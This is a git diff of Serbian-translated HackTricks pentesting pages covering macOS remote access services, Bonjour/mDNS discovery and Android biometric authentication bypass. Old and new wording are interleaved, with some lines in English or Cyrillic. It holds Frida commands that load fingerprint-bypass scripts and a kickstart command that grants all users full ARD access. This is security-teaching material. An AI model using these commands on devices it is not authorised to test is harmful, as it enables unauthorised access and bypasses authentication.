* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Usluge za daljinski pristup
|
||||
## Usluge Daljinskog Pristupa
|
||||
|
||||
Ovo su uobičajene macOS usluge za daljinski pristup.\
|
||||
Možete omogućiti/onemogućiti ove usluge u `System Settings` --> `Sharing`
|
||||
Možete omogućiti/isključiti ove usluge u `System Settings` --> `Sharing`
|
||||
|
||||
* **VNC**, poznat kao "Screen Sharing" (tcp:5900)
|
||||
* **SSH**, nazvan "Remote Login" (tcp:22)
|
||||
* **Apple Remote Desktop** (ARD), ili "Remote Management" (tcp:3283, tcp:5900)
|
||||
* **AppleEvent**, poznat kao "Remote Apple Event" (tcp:3031)
|
||||
* **VNC**, poznat kao “Deljenje Ekrana” (tcp:5900)
|
||||
* **SSH**, nazvan “Daljinska Prijava” (tcp:22)
|
||||
* **Apple Remote Desktop** (ARD), ili “Daljinsko Upravljanje” (tcp:3283, tcp:5900)
|
||||
* **AppleEvent**, poznat kao “Daljinski Apple Događaj” (tcp:3031)
|
||||
|
||||
Proverite da li je neka od ovih usluga omogućena pokretanjem:
|
||||
```bash
|
||||
|
@ -34,62 +35,62 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
|
|||
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
|
||||
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
|
||||
```
|
||||
### Pentestiranje ARD-a
|
||||
### Pentesting ARD
|
||||
|
||||
Apple Remote Desktop (ARD) je unapređena verzija [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) prilagođena za macOS, koja nudi dodatne funkcionalnosti. Značajna ranjivost u ARD-u je njegov metod autentifikacije za kontrolni ekran lozinke, koji koristi samo prvih 8 karaktera lozinke, što ga čini podložnim [brute force napadima](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) pomoću alata kao što su Hydra ili [GoRedShell](https://github.com/ahhh/GoRedShell/), jer ne postoje podrazumevani limiti brzine.
|
||||
Apple Remote Desktop (ARD) je unapređena verzija [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) prilagođena za macOS, koja nudi dodatne funkcije. Značajna ranjivost u ARD-u je njegova metoda autentifikacije za lozinku kontrolne ekrana, koja koristi samo prvih 8 karaktera lozinke, što je čini podložnom [brute force napadima](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) sa alatima kao što su Hydra ili [GoRedShell](https://github.com/ahhh/GoRedShell/), jer ne postoje podrazumevani ograničenja brzine.
|
||||
|
||||
Ranjive instance mogu se identifikovati korišćenjem **nmap**-ovog `vnc-info` skripta. Servisi koji podržavaju `VNC Authentication (2)` su posebno podložni brute force napadima zbog odsjecanja lozinke na 8 karaktera.
|
||||
Ranjive instance se mogu identifikovati korišćenjem **nmap**-ovog `vnc-info` skripta. Usluge koje podržavaju `VNC Authentication (2)` su posebno podložne brute force napadima zbog skraćivanja lozinke na 8 karaktera.
|
||||
|
||||
Da biste omogućili ARD za različite administrativne zadatke kao što su eskalacija privilegija, pristup grafičkom korisničkom interfejsu ili praćenje korisnika, koristite sledeću komandu:
|
||||
Da biste omogućili ARD za razne administrativne zadatke kao što su eskalacija privilegija, GUI pristup ili praćenje korisnika, koristite sledeću komandu:
|
||||
```bash
|
||||
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
|
||||
```
|
||||
ARD pruža različite nivoe kontrole, uključujući posmatranje, deljenu kontrolu i potpunu kontrolu, sa sesijama koje traju čak i nakon promene korisničke lozinke. Omogućava slanje Unix komandi direktno, izvršavajući ih kao root za administrativne korisnike. Značajne funkcije su zakazivanje zadataka i pretraga udaljenog Spotlight-a, koje olakšavaju udaljene pretrage osetljivih datoteka na više mašina.
|
||||
ARD pruža svestrane nivoe kontrole, uključujući posmatranje, deljenu kontrolu i punu kontrolu, sa sesijama koje traju čak i nakon promene korisničke lozinke. Omogućava slanje Unix komandi direktno, izvršavajući ih kao root za administrativne korisnike. Planiranje zadataka i daljinsko Spotlight pretraživanje su značajne karakteristike, olakšavajući daljinsko, niskoprofilno pretraživanje osetljivih datoteka na više mašina.
|
||||
|
||||
## Bonjour protokol
|
||||
## Bonjour Protokol
|
||||
|
||||
Bonjour, tehnologija dizajnirana od strane Apple-a, omogućava uređajima na istoj mreži da otkriju ponuđene usluge jedni drugih. Poznat i kao Rendezvous, Zero Configuration ili Zeroconf, omogućava uređaju da se pridruži TCP/IP mreži, automatski izabere IP adresu i emituje svoje usluge drugim mrežnim uređajima.
|
||||
Bonjour, tehnologija koju je dizajnirao Apple, omogućava **uređajima na istoj mreži da otkriju usluge koje nude jedni drugima**. Poznat i kao Rendezvous, **Zero Configuration**, ili Zeroconf, omogućava uređaju da se pridruži TCP/IP mreži, **automatski odabere IP adresu**, i emitira svoje usluge drugim mrežnim uređajima.
|
||||
|
||||
Zero Configuration Networking, koji pruža Bonjour, omogućava uređajima da:
|
||||
* Automatski dobiju IP adresu čak i u odsustvu DHCP servera.
|
||||
* Izvrše prevod imena u adresu bez potrebe za DNS serverom.
|
||||
* Otkriju dostupne usluge na mreži.
|
||||
Zero Configuration Networking, koji pruža Bonjour, osigurava da uređaji mogu:
|
||||
* **Automatski dobiti IP adresu** čak i u odsustvu DHCP servera.
|
||||
* Izvršiti **prevod imena u adresu** bez potrebe za DNS serverom.
|
||||
* **Otkrivati usluge** dostupne na mreži.
|
||||
|
||||
Uređaji koji koriste Bonjour će sami dodeliti IP adresu iz opsega 169.254/16 i proveriti njenu jedinstvenost na mreži. Mac računari održavaju unos u rutiranju za ovu podmrežu, koji se može proveriti putem `netstat -rn | grep 169`.
|
||||
Uređaji koji koriste Bonjour dodeljuju sebi **IP adresu iz opsega 169.254/16** i proveravaju njenu jedinstvenost na mreži. Mac računari održavaju unos u tabeli rutiranja za ovu podmrežu, koji se može proveriti putem `netstat -rn | grep 169`.
|
||||
|
||||
Za DNS, Bonjour koristi Multicast DNS (mDNS) protokol. mDNS radi preko porta 5353/UDP, koristeći standardne DNS upite, ali ciljajući multicast adresu 224.0.0.251. Ovaj pristup omogućava da svi uređaji koji slušaju na mreži mogu da primaju i odgovaraju na upite, olakšavajući ažuriranje njihovih zapisa.
|
||||
Za DNS, Bonjour koristi **Multicast DNS (mDNS) protokol**. mDNS funkcioniše preko **porta 5353/UDP**, koristeći **standardne DNS upite** ali cilja **multicast adresu 224.0.0.251**. Ovaj pristup osigurava da svi uređaji koji slušaju na mreži mogu primati i odgovarati na upite, olakšavajući ažuriranje njihovih zapisa.
|
||||
|
||||
Prilikom pridruživanja mreži, svaki uređaj sam bira ime, koje obično završava sa .local, a može biti izvedeno iz imena hosta ili generisano nasumično.
|
||||
Prilikom pridruživanja mreži, svaki uređaj samostalno bira ime, obično završava sa **.local**, koje može biti izvedeno iz imena hosta ili nasumično generisano.
|
||||
|
||||
Otkrivanje usluga unutar mreže olakšano je pomoću DNS Service Discovery (DNS-SD). Iskorišćavajući format DNS SRV zapisa, DNS-SD koristi DNS PTR zapise kako bi omogućio listanje više usluga. Klijent koji traži određenu uslugu će zatražiti PTR zapis za `<Usluga>.<Domen>`, a zauzvrat će dobiti listu PTR zapisa formatiranih kao `<Instanca>.<Usluga>.<Domen>` ako je usluga dostupna sa više hostova.
|
||||
Otkrivanje usluga unutar mreže olakšano je **DNS Service Discovery (DNS-SD)**. Iskorišćavajući format DNS SRV zapisa, DNS-SD koristi **DNS PTR zapise** da omogući listanje više usluga. Klijent koji traži određenu uslugu će zatražiti PTR zapis za `<Service>.<Domain>`, primajući zauzvrat listu PTR zapisa formatiranih kao `<Instance>.<Service>.<Domain>` ako je usluga dostupna sa više hostova.
|
||||
|
||||
`dns-sd` alat može se koristiti za otkrivanje i oglašavanje mrežnih usluga. Evo nekoliko primera njegove upotrebe:
|
||||
Alat `dns-sd` može se koristiti za **otkrivanje i oglašavanje mrežnih usluga**. Evo nekoliko primera njegove upotrebe:
|
||||
|
||||
### Pretraga SSH usluga
|
||||
### Pretraživanje SSH Usluga
|
||||
|
||||
Za pretragu SSH usluga na mreži koristi se sledeća komanda:
|
||||
Da biste pretražili SSH usluge na mreži, koristi se sledeća komanda:
|
||||
```bash
|
||||
dns-sd -B _ssh._tcp
|
||||
```
|
||||
Ova komanda pokreće pretraživanje za _ssh._tcp uslugama i prikazuje detalje kao što su vremenska oznaka, zastavice, interfejs, domen, tip usluge i ime instance.
|
||||
Ova komanda pokreće pretragu za _ssh._tcp servisima i prikazuje detalje kao što su vremenska oznaka, zastavice, interfejs, domen, tip servisa i ime instance.
|
||||
|
||||
### Oglašavanje HTTP usluge
|
||||
### Oglašavanje HTTP Servisa
|
||||
|
||||
Da biste oglašavali HTTP uslugu, možete koristiti:
|
||||
Da biste oglasili HTTP servis, možete koristiti:
|
||||
```bash
|
||||
dns-sd -R "Index" _http._tcp . 80 path=/index.html
|
||||
```
|
||||
Ova komanda registruje HTTP servis nazvan "Index" na portu 80 sa putanjom `/index.html`.
|
||||
Ova komanda registruje HTTP servis pod imenom "Index" na portu 80 sa putanjom `/index.html`.
|
||||
|
||||
Zatim, da biste pretražili HTTP servise na mreži:
|
||||
Da biste zatim pretražili HTTP servise na mreži:
|
||||
```bash
|
||||
dns-sd -B _http._tcp
|
||||
```
|
||||
Kada se servis pokrene, on objavljuje svoju dostupnost svim uređajima u podmreži putem multicastiranja svoje prisutnosti. Uređaji zainteresovani za ove servise ne moraju slati zahteve, već jednostavno slušaju ove objave.
|
||||
Kada usluga počne, ona najavljuje svoju dostupnost svim uređajima na podmreži putem multicast-a. Uređaji zainteresovani za ove usluge ne moraju slati zahteve, već jednostavno slušaju ove najave.
|
||||
|
||||
Za korisnički prijateljski interfejs, aplikacija **Discovery - DNS-SD Browser** dostupna na Apple App Store-u može vizualizovati servise koji se nude na lokalnoj mreži.
|
||||
Za korisnički prijatniji interfejs, aplikacija **Discovery - DNS-SD Browser** dostupna na Apple App Store-u može vizualizovati usluge koje se nude na vašoj lokalnoj mreži.
|
||||
|
||||
Alternativno, mogu se napisati prilagođeni skriptovi za pretraživanje i otkrivanje servisa koristeći biblioteku `python-zeroconf`. Skript [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) demonstrira kreiranje pretraživača servisa za `_http._tcp.local.` servise, ispisujući dodate ili uklonjene servise:
|
||||
Alternativno, mogu se napisati prilagođeni skripti za pretraživanje i otkrivanje usluga koristeći `python-zeroconf` biblioteku. Skripta [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) demonstrira kreiranje pretraživača usluga za `_http._tcp.local.` usluge, štampajući dodate ili uklonjene usluge:
|
||||
```python
|
||||
from zeroconf import ServiceBrowser, Zeroconf
|
||||
|
||||
|
@ -110,27 +111,28 @@ input("Press enter to exit...\n\n")
|
|||
finally:
|
||||
zeroconf.close()
|
||||
```
|
||||
### Onemogućavanje Bonjour-a
|
||||
Ako postoje zabrinutosti u vezi sa sigurnošću ili drugi razlozi za onemogućavanje Bonjour-a, može se isključiti korišćenjem sledeće komande:
|
||||
### Onemogućavanje Bonjour
|
||||
Ako postoje zabrinutosti u vezi sa bezbednošću ili drugi razlozi za onemogućavanje Bonjour-a, može se isključiti pomoću sledeće komande:
|
||||
```bash
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
## Reference
|
||||
## References
|
||||
|
||||
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,23 @@
|
|||
# Zaobilaženje biometrijske autentifikacije (Android)
|
||||
# Bypass Biometric Authentication (Android)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Metod 1 - Zaobilaženje bez korišćenja Crypto Object-a**
|
||||
## **Method 1 – Bypassing with No Crypto Object Usage**
|
||||
|
||||
Fokus je ovde na *onAuthenticationSucceeded* povratnom pozivu, koji je ključan u procesu autentifikacije. Istraživači iz WithSecure-a razvili su [Frida skriptu](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), koja omogućava zaobilaženje NULL *CryptoObject*-a u *onAuthenticationSucceeded(...)*. Skripta automatski zaobilazi biometrijsku autentifikaciju prilikom poziva metode. U nastavku je prikazan pojednostavljeni isečak koji demonstrira zaobilaženje u kontekstu Android otiska prsta, a cela aplikacija je dostupna na [GitHub-u](https://github.com/St3v3nsS/InsecureBanking).
|
||||
Fokus ovde je na *onAuthenticationSucceeded* povratnom pozivu, koji je ključan u procesu autentifikacije. Istraživači iz WithSecure-a razvili su [Frida skriptu](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), koja omogućava zaobilaženje NULL *CryptoObject* u *onAuthenticationSucceeded(...)*. Skripta prisiljava automatsko zaobilaženje autentifikacije otiska prsta prilikom poziva metode. Ispod je pojednostavljeni isječak koji prikazuje zaobilaženje u kontekstu Android otiska prsta, sa punom aplikacijom dostupnom na [GitHub](https://github.com/St3v3nsS/InsecureBanking).
|
||||
```javascript
|
||||
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
|
||||
@Override
|
||||
|
@ -24,19 +26,21 @@ Toast.makeText(MainActivity.this,"Success",Toast.LENGTH_LONG).show();
|
|||
}
|
||||
});
|
||||
```
|
||||
Komanda za pokretanje Frida skripte:
|
||||
Команда за покретање Frida скрипте:
|
||||
```bash
|
||||
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass.js
|
||||
```
|
||||
## **Metod 2 - Pristup obradi izuzetaka**
|
||||
## **Metod 2 – Pristup upravljanju izuzecima**
|
||||
|
||||
Još jedan [Frida skript](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) od strane WithSecure se bavi zaobilaženjem nebezbedne upotrebe kripto objekta. Skript poziva *onAuthenticationSucceeded* sa *CryptoObject* koji nije autorizovan otiskom prsta. Ako aplikacija pokuša da koristi drugi kripto objekat, izazvaće izuzetak. Skript priprema poziv *onAuthenticationSucceeded* i obrađuje *javax.crypto.IllegalBlockSizeException* u klasi _Cipher_, obezbeđujući da se naknadni objekti koje koristi aplikacija šifruju novim ključem.
|
||||
Još jedan [Frida skript](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) od WithSecure se bavi zaobilaženjem nesigurne upotrebe kripto objekata. Skript poziva *onAuthenticationSucceeded* sa *CryptoObject* koji nije autorizovan otiskom prsta. Ako aplikacija pokuša da koristi drugi objekat šifriranja, izazvaće izuzetak. Skript se priprema da pozove *onAuthenticationSucceeded* i obradi *javax.crypto.IllegalBlockSizeException* u klasi _Cipher_, osiguravajući da su sledeći objekti koje koristi aplikacija šifrovani novim ključem.
|
||||
|
||||
Komanda za pokretanje Frida skripta:
|
||||
```bash
|
||||
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js
|
||||
```
|
||||
Po dostizanju ekrana otiska prsta i pokretanju `authenticate()`, u Frida konzoli unesite `bypass()` da biste aktivirali zaobilaženje:
|
||||
Upon reaching the fingerprint screen and the initiation of `authenticate()`, type `bypass()`` in the Frida console to activate the bypass:
|
||||
|
||||
Kada dođete do ekrana otiska prsta i pokrenete `authenticate()`, otkucajte `bypass()`` u Frida konzoli da aktivirate zaobilaženje:
|
||||
```
|
||||
Spawning com.generic.insecurebankingfingerprint...
|
||||
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> Hooking BiometricPrompt.authenticate()...
|
||||
|
@ -44,43 +48,46 @@ Hooking BiometricPrompt.authenticate2()...
|
|||
Hooking FingerprintManager.authenticate()...
|
||||
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> bypass()
|
||||
```
|
||||
## **Metod 3 - Instrumentacioni okviri**
|
||||
## **Metod 3 – Instrumentacijski Okviri**
|
||||
|
||||
Instrumentacioni okviri poput Xposed ili Frida mogu se koristiti za povezivanje sa metodama aplikacije tokom izvršavanja. Za biometrijsku autentifikaciju, ovi okviri mogu:
|
||||
Instrumentacijski okviri kao što su Xposed ili Frida mogu se koristiti za povezivanje sa metodama aplikacije u vreme izvođenja. Za autentifikaciju otiskom prsta, ovi okviri mogu:
|
||||
|
||||
1. **Lažirati povratne pozive autentifikacije**: Povezivanjem sa metodama `onAuthenticationSucceeded`, `onAuthenticationFailed` ili `onAuthenticationError` u klasi `BiometricPrompt.AuthenticationCallback`, možete kontrolisati ishod procesa biometrijske autentifikacije.
|
||||
2. **Obilaziti SSL Pinning**: Ovo omogućava napadaču da presretne i izmeni saobraćaj između klijenta i servera, potencijalno menjajući proces autentifikacije ili krađu osetljivih podataka.
|
||||
1. **Lažirati Pozive za Autentifikaciju**: Povezivanjem sa metodama `onAuthenticationSucceeded`, `onAuthenticationFailed` ili `onAuthenticationError` iz `BiometricPrompt.AuthenticationCallback`, možete kontrolisati ishod procesa autentifikacije otiskom prsta.
|
||||
2. **Obići SSL Pinovanje**: Ovo omogućava napadaču da presretne i izmeni saobraćaj između klijenta i servera, potencijalno menjajući proces autentifikacije ili kradući osetljive podatke.
|
||||
|
||||
Primer komande za Frida:
|
||||
```bash
|
||||
frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
|
||||
```
|
||||
## **Metoda 4 - Reverse inženjering i modifikacija koda**
|
||||
## **Metod 4 – Reverzno inženjerstvo i modifikacija koda**
|
||||
|
||||
Alati za reverse inženjering poput `APKTool`, `dex2jar` i `JD-GUI` mogu se koristiti za dekompilaciju Android aplikacije, čitanje njenog izvornog koda i razumevanje mehanizma autentifikacije. Koraci uključuju:
|
||||
Alati za reverzno inženjerstvo kao što su `APKTool`, `dex2jar` i `JD-GUI` mogu se koristiti za dekompilaciju Android aplikacije, čitanje njenog izvornog koda i razumevanje njenog mehanizma autentifikacije. Koraci obično uključuju:
|
||||
|
||||
1. **Dekompilacija APK-a**: Pretvorite APK datoteku u format koji je čitljiviji ljudima (poput Java koda).
|
||||
2. **Analiza koda**: Potražite implementaciju autentifikacije otiska prsta i identifikujte potencijalne slabosti (poput rezervnih mehanizama ili nepravilnih provera validacije).
|
||||
3. **Rekompilacija APK-a**: Nakon modifikacije koda za zaobilaženje autentifikacije otiska prsta, aplikacija se rekompilira, potpisuje i instalira na uređaju radi testiranja.
|
||||
1. **Dekompilacija APK-a**: Pretvorite APK datoteku u čitljiviji format (kao što je Java kod).
|
||||
2. **Analiza koda**: Potražite implementaciju autentifikacije otiskom prsta i identifikujte potencijalne slabosti (kao što su mehanizmi povratka ili nepravilne provere validacije).
|
||||
3. **Rekompilacija APK-a**: Nakon modifikacije koda za zaobilaženje autentifikacije otiskom prsta, aplikacija se rekompajlira, potpisuje i instalira na uređaj za testiranje.
|
||||
|
||||
## **Metoda 5 - Korišćenje prilagođenih alata za autentifikaciju**
|
||||
## **Metod 5 – Korišćenje prilagođenih alata za autentifikaciju**
|
||||
|
||||
Postoje specijalizovani alati i skripte dizajnirane za testiranje i zaobilaženje mehanizama autentifikacije. Na primer:
|
||||
|
||||
1. **MAGISK moduli**: MAGISK je alat za Android koji korisnicima omogućava rootovanje uređaja i dodavanje modula koji mogu menjati ili lažirati informacije na nivou hardvera, uključujući otiske prstiju.
|
||||
2. **Prilagođene skripte**: Skripte se mogu pisati kako bi se komuniciralo sa Android Debug Bridge (ADB) ili direktno sa pozadinskim sistemom aplikacije kako bi se simulirala ili zaobišla autentifikacija otiska prsta.
|
||||
1. **MAGISK moduli**: MAGISK je alat za Android koji omogućava korisnicima da root-uju svoje uređaje i dodaju module koji mogu modifikovati ili lažirati informacije na hardverskom nivou, uključujući otiske prstiju.
|
||||
2. **Prilagođene skripte**: Skripte se mogu napisati za interakciju sa Android Debug Bridge (ADB) ili direktno sa backend-om aplikacije kako bi simulirale ili zaobišle autentifikaciju otiskom prsta.
|
||||
|
||||
## Reference
|
||||
* [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Android APK Checklist
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
